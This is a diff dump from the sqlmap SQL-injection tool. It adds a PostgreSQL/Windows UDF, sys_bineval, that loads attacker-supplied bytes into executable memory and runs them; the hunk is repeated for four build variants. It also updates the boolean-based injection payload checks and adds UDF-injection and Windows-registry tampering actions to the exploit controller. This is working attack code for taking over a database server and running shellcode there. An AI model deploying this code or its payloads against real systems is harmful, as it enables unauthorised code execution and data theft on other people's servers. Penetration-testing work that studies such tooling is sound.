CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS '/tmp/lib_postgresqludf_sys.so', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -21,3 +21,4 @@
CREATE OR REPLACE FUNCTION sys_exec(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_exec' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_eval(text) RETURNS text AS 'lib_postgresqludf_sys.dll', 'sys_eval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;
CREATE OR REPLACE FUNCTION sys_bineval(text) RETURNS int4 AS 'lib_postgresqludf_sys.dll', 'sys_bineval' LANGUAGE C RETURNS NULL ON NULL INPUT IMMUTABLE;

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
@@ -108,4 +117,76 @@ extern DLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
memcpy(VARDATA(result_text), result, strlen(result));
PG_RETURN_POINTER(result_text);
}
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern DLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -25,14 +25,23 @@
#define BUILDING_DLL 1
#else
#define DLLEXP
#include <sys/mman.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <unistd.h>
#endif
#include <postgres.h>
#include <fmgr.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter);
#endif
#ifdef PG_MODULE_MAGIC
PG_MODULE_MAGIC;
#endif
@@ -109,3 +118,75 @@ extern PGDLLIMPORT Datum sys_eval(PG_FUNCTION_ARGS) {
PG_RETURN_POINTER(result_text);
}
PG_FUNCTION_INFO_V1(sys_bineval);
extern PGDLLIMPORT Datum sys_bineval(PG_FUNCTION_ARGS) {
text *argv0 = PG_GETARG_TEXT_P(0);
int32 argv0_size;
size_t len;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
int pID;
char *code;
#else
int *addr;
size_t page_size;
pid_t pID;
#endif
argv0_size = VARSIZE(argv0) - VARHDRSZ;
len = (size_t)argv0_size;
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
// allocate a +rwx memory page
code = (char *) VirtualAlloc(NULL, len+1, MEM_COMMIT, PAGE_EXECUTE_READWRITE);
strncpy(code, VARDATA(argv0), len);
WaitForSingleObject(CreateThread(NULL, 0, exec_payload, code, 0, &pID), INFINITE);
#else
pID = fork();
if(pID<0)
PG_RETURN_INT32(1);
if(pID==0)
{
page_size = (size_t)sysconf(_SC_PAGESIZE)-1; // get page size
page_size = (len+page_size) & ~(page_size); // align to page boundary
// mmap an rwx memory page
addr = mmap(0, page_size, PROT_READ|PROT_WRITE|PROT_EXEC, MAP_SHARED|MAP_ANONYMOUS, 0, 0);
if (addr == MAP_FAILED)
PG_RETURN_INT32(1);
strncpy((char *)addr, VARDATA(argv0), len);
((void (*)(void))addr)();
}
if(pID>0)
waitpid(pID, 0, WNOHANG);
#endif
PG_RETURN_INT32(0);
}
#if defined(_WIN32) || defined(_WIN64) || defined(__WIN32__) || defined(WIN32)
DWORD WINAPI exec_payload(LPVOID lpParameter)
{
__try
{
__asm
{
mov eax, [lpParameter]
call eax
}
}
__except(EXCEPTION_EXECUTE_HANDLER)
{
}
return 0;
}
#endif

View File

@@ -10,8 +10,6 @@ Reference: http://hupp.org/adam/hg/python-magic
License: PSF (http://www.python.org/psf/license/)
"""
import os.path
import ctypes
import ctypes.util
@@ -42,7 +40,6 @@ class Magic:
magic_load(self.cookie, magic_file)
def from_buffer(self, buf):
"""
Identify the contents of `buf`
@@ -63,9 +60,8 @@ class Magic:
def __del__(self):
try:
magic_close(self.cookie)
except Exception, e:
print "got thig: ", e
except Exception, _:
pass
_magic_mime = None
_magic = None
@@ -96,8 +92,6 @@ def from_buffer(buffer, mime=False):
m = _get_magic_type(mime)
return m.from_buffer(buffer)
try:
libmagic = ctypes.CDLL(ctypes.util.find_library('magic'))
@@ -132,17 +126,14 @@ try:
magic_file.argtypes = [magic_t, c_char_p]
magic_file.errcheck = errorcheck
_magic_buffer = libmagic.magic_buffer
_magic_buffer.restype = c_char_p
_magic_buffer.argtypes = [magic_t, c_void_p, c_size_t]
_magic_buffer.errcheck = errorcheck
def magic_buffer(cookie, buf):
return _magic_buffer(cookie, buf, len(buf))
magic_load = libmagic.magic_load
magic_load.restype = c_int
magic_load.argtypes = [magic_t, c_char_p]
@@ -162,7 +153,6 @@ try:
except:
pass
MAGIC_NONE = 0x000000 # No flags
MAGIC_DEBUG = 0x000001 # Turn on debugging

View File

@@ -22,8 +22,6 @@ License along with this library; if not, write to the Free Software
Foundation, Inc., 51 Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import mimetools
import mimetypes
import os
@@ -39,7 +37,6 @@ class Callable:
def __init__(self, anycallable):
self.__call__ = anycallable
# Controls how sequences are uncoded. If true, elements may be given
# multiple values by assigning a sequence.
doseq = 1
@@ -50,15 +47,17 @@ class MultipartPostHandler(urllib2.BaseHandler):
def http_request(self, request):
data = request.get_data()
if data is not None and type(data) != str:
v_files = []
v_vars = []
try:
for(key, value) in data.items():
if type(value) == file:
v_files.append((key, value))
else:
v_vars.append((key, value))
for(key, value) in data.items():
if type(value) == file:
v_files.append((key, value))
else:
v_vars.append((key, value))
except TypeError:
systype, value, traceback = sys.exc_info()
raise sqlmapDataException, "not a valid non-string sequence or mapping object", traceback
@@ -75,16 +74,18 @@ class MultipartPostHandler(urllib2.BaseHandler):
request.add_data(data)
return request
def multipart_encode(vars, files, boundary = None, buffer = None):
if boundary is None:
boundary = mimetools.choose_boundary()
if buffer is None:
buffer = ''
for(key, value) in vars:
buffer += '--%s\r\n' % boundary
buffer += 'Content-Disposition: form-data; name="%s"' % key
buffer += '\r\n\r\n' + value + '\r\n'
for(key, fd) in files:
file_size = os.fstat(fd.fileno())[stat.ST_SIZE]
filename = fd.name.split('/')[-1]
@@ -95,9 +96,11 @@ class MultipartPostHandler(urllib2.BaseHandler):
# buffer += 'Content-Length: %s\r\n' % file_size
fd.seek(0)
buffer += '\r\n' + fd.read() + '\r\n'
buffer += '--%s--\r\n\r\n' % boundary
return boundary, buffer
multipart_encode = Callable(multipart_encode)
https_request = http_request

BIN
lib/contrib/upx/macosx/upx Executable file

Binary file not shown.

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.handler import setHandler
from lib.core.common import getHtmlErrorFp
from lib.core.data import conf
@@ -35,7 +33,6 @@ from lib.techniques.blind.timebased import timeTest
from lib.techniques.inband.union.test import unionTest
from lib.techniques.outband.stacked import stackedTest
def action():
"""
This function exploit the SQL injection on the affected
@@ -125,6 +122,10 @@ def action():
if conf.sqlShell:
conf.dbmsHandler.sqlShell()
# User-defined function options
if conf.udfInject:
conf.dbmsHandler.udfInjectCustom()
# File system options
if conf.rFile:
dumper.string("%s file saved to" % conf.rFile, conf.dbmsHandler.readFile(conf.rFile), sort=False)
@@ -148,6 +149,16 @@ def action():
if conf.osBof:
conf.dbmsHandler.osBof()
# Windows registry options
if conf.regRead:
dumper.string("Registry key value data", conf.dbmsHandler.regRead())
if conf.regAdd:
conf.dbmsHandler.regAdd()
if conf.regDel:
conf.dbmsHandler.regDel()
# Miscellaneous options
if conf.cleanup:
conf.dbmsHandler.cleanup()

View File

@@ -22,12 +22,9 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
import time
from lib.controller.action import action
from lib.core.agent import agent
from lib.core.common import randomInt
from lib.core.common import randomStr
@@ -40,7 +37,6 @@ from lib.core.session import setString
from lib.core.session import setRegexp
from lib.request.connect import Connect as Request
def checkSqlInjection(place, parameter, value, parenthesis):
"""
This function checks if the GET, POST, Cookie, User-Agent
@@ -72,11 +68,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt, postfix))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%d=%d %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming custom injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -84,7 +80,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s%s AND %s%s %s" % (value, prefix, ")" * parenthesis, "(" * parenthesis, randStr, postfix))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "custom injectable "
logger.info(infoMsg)
@@ -98,11 +94,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s%s AND %s%d=%d" % (value, ")" * parenthesis, "(" * parenthesis, randInt, randInt + 1))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming unescaped numeric injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -110,7 +106,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "unescaped numeric injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -129,11 +125,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s'='%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -141,7 +137,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -160,11 +156,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s'%s AND %s'%s' LIKE '%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming LIKE single quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -172,7 +168,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s'%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE single quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -191,11 +187,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\"=\"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -203,7 +199,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -222,11 +218,11 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr))
trueResult = Request.queryPage(payload, place)
if trueResult == True:
if trueResult:
payload = agent.payload(place, parameter, value, "%s\"%s AND %s\"%s\" LIKE \"%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr, randStr + randomStr(1)))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "confirming LIKE double quoted string injection "
infoMsg += "on %s parameter '%s'" % (place, parameter)
logger.info(infoMsg)
@@ -234,7 +230,7 @@ def checkSqlInjection(place, parameter, value, parenthesis):
payload = agent.payload(place, parameter, value, "%s\"%s and %s%s" % (value, ")" * parenthesis, "(" * parenthesis, randStr))
falseResult = Request.queryPage(payload, place)
if falseResult != True:
if not falseResult:
infoMsg = "%s parameter '%s' is " % (place, parameter)
infoMsg += "LIKE double quoted string injectable "
infoMsg += "with %d parenthesis" % parenthesis
@@ -248,7 +244,6 @@ def checkSqlInjection(place, parameter, value, parenthesis):
return None
def checkDynParam(place, parameter, value):
"""
This function checks if the url parameter is dynamic. If it is
@@ -280,7 +275,6 @@ def checkDynParam(place, parameter, value):
return condition
def checkStability():
"""
This function checks if the URL content is stable requesting the
@@ -295,19 +289,19 @@ def checkStability():
infoMsg = "testing if the url is stable, wait a few seconds"
logger.info(infoMsg)
firstPage, firstHeaders = Request.queryPage(content=True)
firstPage, _ = Request.queryPage(content=True)
time.sleep(1)
secondPage, secondHeaders = Request.queryPage(content=True)
secondPage, _ = Request.queryPage(content=True)
condition = firstPage == secondPage
if condition == True:
if condition:
conf.md5hash = md5hash(firstPage)
logMsg = "url is stable"
logger.info(logMsg)
elif condition == False:
elif not condition:
warnMsg = "url is not stable, sqlmap will base the page "
warnMsg += "comparison on a sequence matcher, if no dynamic nor "
warnMsg += "injectable parameters are detected, refer to user's "
@@ -316,8 +310,6 @@ def checkStability():
logger.warn(warnMsg)
return condition
def checkString():
if not conf.string:
return True
@@ -348,7 +340,6 @@ def checkString():
return False
def checkRegexp():
if not conf.regexp:
return True
@@ -380,7 +371,6 @@ def checkRegexp():
return False
def checkConnection():
infoMsg = "testing connection to the target url"
logger.info(infoMsg)

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.controller.action import action
from lib.controller.checks import checkSqlInjection
from lib.controller.checks import checkDynParam
@@ -33,17 +31,16 @@ from lib.controller.checks import checkRegexp
from lib.controller.checks import checkConnection
from lib.core.common import paramToDict
from lib.core.common import readInput
from lib.core.common import sanitizeCookie
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
from lib.core.exception import sqlmapConnectionException
from lib.core.exception import sqlmapNotVulnerableException
from lib.core.session import setInjection
from lib.core.target import createTargetDirs
from lib.core.target import initTargetEnv
from lib.utils.parenthesis import checkForParenthesis
def __selectInjection(injData):
"""
Selection function for injection place, parameters and type.
@@ -84,7 +81,6 @@ def __selectInjection(injData):
return injData[index]
def start():
"""
This function calls a function that performs checks on both URL
@@ -105,7 +101,6 @@ def start():
logger.info(infoMsg)
hostCount = 0
receivedCookies = []
cookieStr = ""
setCookieAsInjectable = True
@@ -139,39 +134,42 @@ def start():
logMsg = "testing url %s" % targetUrl
logger.info(logMsg)
createTargetDirs()
initTargetEnv()
if not checkConnection() or not checkString() or not checkRegexp():
continue
for _, cookie in enumerate(conf.cj):
cookie = str(cookie)
index = cookie.index(" for ")
if not conf.dropSetCookie:
for _, cookie in enumerate(conf.cj):
cookie = str(cookie)
index = cookie.index(" for ")
cookieStr += "%s;" % cookie[8:index]
cookieStr += "%s;" % cookie[8:index]
if cookieStr:
cookieStr = cookieStr[:-1]
if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if setCookieAsInjectable:
conf.httpHeaders.append(("Cookie", cookieStr))
conf.parameters["Cookie"] = cookieStr.replace("%", "%%")
__paramDict = paramToDict("Cookie", cookieStr)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
if cookieStr:
cookieStr = cookieStr[:-1]
if "Cookie" in conf.parameters:
message = "you provided an HTTP Cookie header value. "
message += "The target url provided its own Cookie within "
message += "the HTTP Set-Cookie header. Do you want to "
message += "continue using the HTTP Cookie values that "
message += "you provided? [Y/n] "
test = readInput(message, default="Y")
if not test or test[0] in ("y", "Y"):
setCookieAsInjectable = False
if setCookieAsInjectable:
safeCookie = sanitizeCookie(cookieStr)
conf.httpHeaders.append(("Cookie", safeCookie))
conf.parameters["Cookie"] = safeCookie
__paramDict = paramToDict("Cookie", safeCookie)
if __paramDict:
conf.paramDict["Cookie"] = __paramDict
__testableParameters = True
if not kb.injPlace or not kb.injParameter or not kb.injType:
if not conf.string and not conf.regexp and not conf.eRegexp:
@@ -202,7 +200,7 @@ def start():
logMsg = "%s parameter '%s' is dynamic" % (place, parameter)
logger.info(logMsg)
if testSqlInj == True:
if testSqlInj:
for parenthesis in range(0, 4):
logMsg = "testing sql injection on %s " % place
logMsg += "parameter '%s' with " % parameter
@@ -248,20 +246,16 @@ def start():
if not conf.multipleTargets and ( not kb.injPlace or not kb.injParameter or not kb.injType ):
raise sqlmapNotVulnerableException, "all parameters are not injectable"
elif kb.injPlace and kb.injParameter and kb.injType:
condition = False
if conf.multipleTargets:
message = "do you want to exploit this SQL injection? [Y/n] "
exploit = readInput(message, default="Y")
if not exploit or exploit[0] in ("y", "Y"):
condition = True
condition = not exploit or exploit[0] in ("y", "Y")
else:
condition = True
if condition:
checkForParenthesis()
createTargetDirs()
action()
if conf.loggedToOut:

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
from lib.core.data import conf
from lib.core.data import kb
from lib.core.data import logger
@@ -37,7 +35,6 @@ from plugins.dbms.mysql import MySQLMap
from plugins.dbms.oracle import OracleMap
from plugins.dbms.postgresql import PostgreSQLMap
def setHandler():
"""
Detect which is the target web application back-end database

View File

@@ -22,8 +22,6 @@ with sqlmap; if not, write to the Free Software Foundation, Inc., 51
Franklin St, Fifth Floor, Boston, MA 02110-1301 USA
"""
import re
from lib.core.common import randomInt
@@ -33,7 +31,6 @@ from lib.core.data import kb
from lib.core.data import queries
from lib.core.data import temp
from lib.core.exception import sqlmapNoneDataException
from lib.core.exception import sqlmapUnsupportedDBMSException
class Agent:
@@ -46,7 +43,6 @@ class Agent:
temp.start = randomStr(6)
temp.stop = randomStr(6)
def payload(self, place=None, parameter=None, value=None, newValue=None, negative=False, falseCond=False):
"""
This method replaces the affected parameter with the SQL
@@ -57,9 +53,9 @@ class Agent:
negValue = ""
retValue = ""
if negative == True or conf.paramNegative == True:
if negative or conf.paramNegative:
negValue = "-"
elif falseCond == True or conf.paramFalseCond == True:
elif falseCond or conf.paramFalseCond:
randInt = randomInt()
falseValue = " AND %d=%d" % (randInt, randInt + 1)
@@ -84,7 +80,6 @@ class Agent:
return retValue
def fullPayload(self, query):
query = self.prefixQuery(query)
query = self.postfixQuery(query)
@@ -92,7 +87,6 @@ class Agent:
return payload
def prefixQuery(self, string):
"""
This method defines how the input string has to be escaped
@@ -121,7 +115,6 @@ class Agent:
return query
def postfixQuery(self, string, comment=None):
"""
This method appends the DBMS comment to the
@@ -137,7 +130,7 @@ class Agent:
if conf.postfix:
string += " %s" % conf.postfix
else:
if kb.parenthesis != None:
if kb.parenthesis is not None:
string += " AND %s" % ("(" * kb.parenthesis)
else:
raise sqlmapNoneDataException, "unable to get the number of parenthesis"
@@ -157,7 +150,6 @@ class Agent:
return string
def nullAndCastField(self, field):
"""
Take in input a field string and return its processed nulled and
@@ -196,7 +188,6 @@ class Agent:
return nulledCastedField
def nullCastConcatFields(self, fields):
"""
Take in input a sequence of fields string and return its processed
@@ -243,7 +234,6 @@ class Agent:
return nulledCastedConcatFields
def getFields(self, query):
"""
Take in input a query string and return its fields (columns) and
@@ -284,13 +274,8 @@ class Agent:
fieldsToCastList = fieldsToCastStr.replace(", ", ",")
fieldsToCastList = fieldsToCastList.split(",")
# TODO: really needed?!
#if query.startswith("SELECT ") and "(SELECT " in query:
# fieldsSelectFrom = None
return fieldsSelectFrom, fieldsSelect, fieldsNoSelect, fieldsSelectTop, fieldsSelectCase, fieldsToCastList, fieldsToCastStr
def simpleConcatQuery(self, query1, query2):
concatenatedQuery = ""
@@ -305,7 +290,6 @@ class Agent:
return concatenatedQuery
def concatQuery(self, query, unpack=True):
"""
Take in input a query string and return its processed nulled,
@@ -332,7 +316,7 @@ class Agent:
@rtype: C{str}
"""
if unpack == True:
if unpack:
concatenatedQuery = ""
query = query.replace(", ", ",")
@@ -391,7 +375,6 @@ class Agent:
return concatenatedQuery
def forgeInbandQuery(self, query, exprPosition=None, nullChar="NULL"):
"""
Take in input an query (pseudo query) string and return its
@@ -470,7 +453,6 @@ class Agent:
return inbandQuery
def limitQuery(self, num, query, field):
"""
Take in input a query string and return its limited query string.
@@ -534,7 +516,7 @@ class Agent:
topNum = re.search("TOP\s+([\d]+)\s+", limitedQuery, re.I).group(1)
limitedQuery = limitedQuery.replace("TOP %s " % topNum, "")
if forgeNotIn == True:
if forgeNotIn:
limitedQuery = limitedQuery.replace("SELECT ", (limitStr % 1), 1)
if " WHERE " in limitedQuery:
